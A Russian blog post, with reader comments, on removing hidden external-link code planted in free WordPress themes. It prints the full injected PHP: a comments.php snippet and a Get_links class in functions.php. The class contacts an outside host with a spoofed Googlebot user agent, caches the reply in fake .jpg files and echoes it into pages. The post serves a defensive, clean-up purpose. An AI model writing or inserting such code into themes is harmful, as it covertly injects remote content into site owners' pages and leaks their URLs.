Скрытые внешние ссылки шаблонов от wp-templates.ru

Скрытые ссылки

Как правило бесплатные шаблоны напичканы внешними ссылками на различные ресурсы в сети. БОльшая часть этих ссылок легко удаляется правкой footer.php или иных файлов WordPress. Однако не всегда внешние ссылки легко обнаружить, в некоторых случаях вообще не возможно, поскольку появляются они через определенное время после создания сайта.

Один из наиболее популярных сайтов с бесплатными шаблонами wp-templates.ru совершенно открыто засоряет темы WordPress, представленные на нем, специальным скриптом, который через определенное время начинает подгружать внешние ссылки на сайт. Информацию об этом можно прочесть здесь: http://wp-templates.ru/rules/.

Соответственно, для удаления скрипта необходимо отредактировать файл comments.php вашей темы, а именно - удалить код:

<?php $lib_path = dirname(__FILE__).’/'; require_once(‘functions.php’); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>

Однако на этом останавливаться не стоит, отредактировать нужно также файл functions.php. В нем нужно отыскать код:

class Get_links {

var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime    = 21600;
var $_socket_timeout    = 5;

function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set(‘allow_url_fopen',          1);
@ini_set(‘default_socket_timeout',   $_socket_timeout);
@ini_set(‘user_agent', $_user_agent);

if (function_exists(‘file_get_contents')) {
$opts = array(
‘http'=>array(
‘method'=>"GET",
‘header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);

$data = @file_get_contents(‘http://' . $host . $path, false, $context);
preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!—link error—>';
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}

И также его удалить! В различных шаблонах он может выглядеть по-разному, однако его легко отыскать, вбив в строку поиска "class Get_links".

Для тех, кому совершить подобные манипуляции не под силу, можно воспользовавшись поиском, скачать аналогичный шаблон с другого ресурса и просто заменить файлы comments.php и functions.php, но в данном случае нет никаких гарантий, что вы не занесете на сайт иные источники внешних ссылок.

Если статья вам помогла, пишите, пожалуйста, в комментариях. Также пишите о своих методах борьбы с внешними ссылками!

Вы можете оставить комментарий, или ссылку на Ваш сайт.

20 комментариев к записи “Скрытые внешние ссылки шаблонов от wp-templates.ru”

  1. Спасибо большое! Как раз столкнулся з такой проблемой — соломоно показал внешние силки, которых не должно бить. Начал искать проблему и, именну в этом она заключалась. Тепер все норм =)

  2. У меня название темы FireGames, все удалил, все работает

  3. Спасибо большое!Тоже столкнулся с такой проблемой,только у меня не
    в comments.php ,а в footer.php .В functions.php удалил код и ссылки перестали работать,но беда была в том ,что return_links($lib_path); echo $links; ?> нужно было удалить из футера,но при удалении слитал сайт.Тогда я скачал такую же тему но с другова сайта .Нашел там свой футер и просто заменил. Бинго,сайт заработал и все внешнее ссылки которые были поразитами исчезли.Спасибо автору за статью

  4. Светлана:

    Спасибо, лишний код удалила.

  5. Удалил этот кусок кода и судя по всему из-за него слетел шаблон return_links($lib_path); echo $links; ?>
    Кто-нибудь что подскажет. Обратно вставляю ничего не менячется

  6. Не помогло, к сожалению

  7. Евгений:

    Почему то пропадает после этих действий подвал. хорошо-резервное копирование сделал, надо дальше думать что то по удалению ссылок

  8. Татьяна:

    Такой код я у себя тоже нашла в functions.php Но его удаление вообще ничего не дало 🙁 Linkpad показывает наличие 36 анкоров на сайте со ссылками, которые невооруженным глазом не видны. Comments.phph у меня без кода

  9. СтасОК:

    Спасибо дружище за подсказку. А то из-за этого галеного темплата два сайта под Агс ушли, только потом понял в чем дело. А как их убрать не знал, пока не наткнулся на этот сайт, еще раз СПАСИБО!

  10. Евгений:

    Давно не заходил на относительно старые страницы сайта и очень удивился, в footer слева появился текст, состоящий с одного слова, с сылкой открытой для индексирования. Думал откуда взялось, при проверке плагином ТАС не чего не показало, так как я уже давненько все почистил.

    И тут наткнулся на ваш сайт. Все помогло, активные ссылки с футера пропали. Одно только в файле comments.php кода который вы указывали у меня не оказалась, а вот вот в functions.php как раз и был тот злосчастный код.

    Скопировал часть вашего кода, открыл программный файл/правка/найти/удалить и вуаля все получилось! Спасибо вам большое и сайту «сайт с нулиа» за помощь!!!

  11. Иван:

    Всем привет! Админ, спасибо огромное, помог!

    Код был в footer.php и почистил functions.php…
    А заметил ссылки в футере случайно, зашел с мобилки на сайт. С компа ссылки не палились!!!

  12. Оксана:

    Спасибо огромнющее! Все нашла сама и удалила к чертовой матери. Сайт работает, даже ничего не перекривилось и не съехало.

  13. Добрый день! У меня проблема с ссылками, majestic показывает 866 ссылок, из них 634 идут из файла http://rowdysax.ru/wp-includes/mybook.php
    но я этот файл удалил месяца 4 назад! А ссылки якобы еще есть! Может подскажите что делать???
    Мой сайт rowdysax.ru
    Ваши коды поискал, вроде бы их нет!
    Тему качал с http://urokwp.ru

  14. Игорь:

    Спасибо! Я знал, что ссылку нужно искать в футуре или комментариях, но не знал, что ещё код нужно в файле функций удалять. Большое спасибо! ))

  15. Алекс:

    class Get_links {

    удалил var $host = ‘wpconfig.net’;
    удалил var $path = ‘/system.php’;
    удалил var $_socket_timeout = 5;

    function get_remote() {

    если удалить весь код как он выглядит выше в статье, то тема теряет много функций и криво стоит.
    Я удалил эти три строки (удалил). Ссыль ушла и тема в порядке.

  16. Елена Маая:

    Какой смысл брать заведомую проблему и пытаться ее исправить? Тем более что неизвестно, все вы почистите или чтото останется.

    Мазохисты…

  17. Дарья:

    Да, помогло. Большое спасибо!

Оставить комментарий

Яндекс.Метрика